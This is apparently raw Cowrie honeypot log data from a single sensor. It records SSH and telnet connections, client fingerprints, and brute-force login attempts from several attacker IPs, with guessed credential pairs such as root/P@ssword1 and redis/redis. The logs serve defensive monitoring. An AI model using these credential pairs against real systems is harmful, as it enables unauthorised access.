{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:04.473844Z","src_ip":"192.109.200.78","session":"d65b0bf425af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54132,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f242a50d8a6","protocol":"ssh","message":"New connection: 176.65.139.95:54132 (159.203.135.109:22) [session: 5f242a50d8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:05.447762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:05.453307Z","src_ip":"176.65.139.95","session":"5f242a50d8a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:05.544310Z","src_ip":"176.65.139.95","session":"5f242a50d8a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:05.991189Z","src_ip":"176.65.139.95","session":"5f242a50d8a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38572,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f570cc7cd27","protocol":"ssh","message":"New connection: 192.109.200.78:38572 (159.203.135.109:22) [session: 3f570cc7cd27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:06.873658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:06.879569Z","src_ip":"192.109.200.78","session":"3f570cc7cd27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:06.963200Z","src_ip":"192.109.200.78","session":"3f570cc7cd27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:07.105787Z","src_ip":"176.65.139.95","session":"5f242a50d8a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:07.213739Z","src_ip":"192.109.200.78","session":"3f570cc7cd27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:08.307456Z","src_ip":"192.109.200.78","session":"3f570cc7cd27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45252,"dst_ip":"159.203.135.109","dst_port":22,"session":"54d25d3b222f","protocol":"ssh","message":"New connection: 192.109.200.78:45252 (159.203.135.109:22) [session: 54d25d3b222f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:10.989140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:10.994306Z","src_ip":"192.109.200.78","session":"54d25d3b222f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:11.094208Z","src_ip":"192.109.200.78","session":"54d25d3b222f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:11.345510Z","src_ip":"192.109.200.78","session":"54d25d3b222f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36848,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5aee66d83bc","protocol":"ssh","message":"New connection: 176.65.139.95:36848 (159.203.135.109:22) [session: b5aee66d83bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:11.953329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:11.961903Z","src_ip":"176.65.139.95","session":"b5aee66d83bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:12.052542Z","src_ip":"176.65.139.95","session":"b5aee66d83bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:12.430814Z","src_ip":"192.109.200.78","session":"54d25d3b222f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@1234","message":"login attempt [user/user@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:12.598319Z","src_ip":"176.65.139.95","session":"b5aee66d83bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:13.685664Z","src_ip":"176.65.139.95","session":"b5aee66d83bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.757726907730103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:15.057102Z","src_ip":"162.214.129.89","session":"68f2d17634c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45268,"dst_ip":"159.203.135.109","dst_port":22,"session":"2194040eab9e","protocol":"ssh","message":"New connection: 192.109.200.78:45268 (159.203.135.109:22) [session: 2194040eab9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:15.080940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:15.089966Z","src_ip":"192.109.200.78","session":"2194040eab9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:15.175294Z","src_ip":"192.109.200.78","session":"2194040eab9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:15.424747Z","src_ip":"192.109.200.78","session":"2194040eab9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:16.510053Z","src_ip":"192.109.200.78","session":"2194040eab9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.236.162.233","src_port":39118,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c2090650540","protocol":"telnet","message":"New connection: 103.236.162.233:39118 (10.17.0.5:23) [session: 1c2090650540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:17.633947Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36860,"dst_ip":"159.203.135.109","dst_port":22,"session":"182eb8d8040e","protocol":"ssh","message":"New connection: 176.65.139.95:36860 (159.203.135.109:22) [session: 182eb8d8040e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:18.358592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:18.369381Z","src_ip":"176.65.139.95","session":"182eb8d8040e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45290,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e01d6c56c4e","protocol":"ssh","message":"New connection: 159.203.92.129:45290 (159.203.135.109:22) [session: 9e01d6c56c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:18.414283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:18.420099Z","src_ip":"159.203.92.129","session":"9e01d6c56c4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:18.428017Z","src_ip":"159.203.92.129","session":"9e01d6c56c4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"RADI0","password":"123","message":"login attempt [RADI0/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:18.445289Z","src_ip":"159.203.92.129","session":"9e01d6c56c4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:18.450645Z","src_ip":"176.65.139.95","session":"182eb8d8040e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:19.177445Z","src_ip":"176.65.139.95","session":"182eb8d8040e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38088,"dst_ip":"159.203.135.109","dst_port":22,"session":"145efc566095","protocol":"ssh","message":"New connection: 192.109.200.78:38088 (159.203.135.109:22) [session: 145efc566095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:19.338523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:19.345142Z","src_ip":"192.109.200.78","session":"145efc566095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:19.427603Z","src_ip":"192.109.200.78","session":"145efc566095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:19.453564Z","src_ip":"159.203.92.129","session":"9e01d6c56c4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:19.685275Z","src_ip":"192.109.200.78","session":"145efc566095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.952337741851807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:20.062212Z","src_ip":"212.28.189.160","session":"03fdc1070047","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.630913972854614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:20.109621Z","src_ip":"170.78.75.91","session":"7dcf8f7f9111","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:20.275813Z","src_ip":"176.65.139.95","session":"182eb8d8040e","protocol":"ssh"}
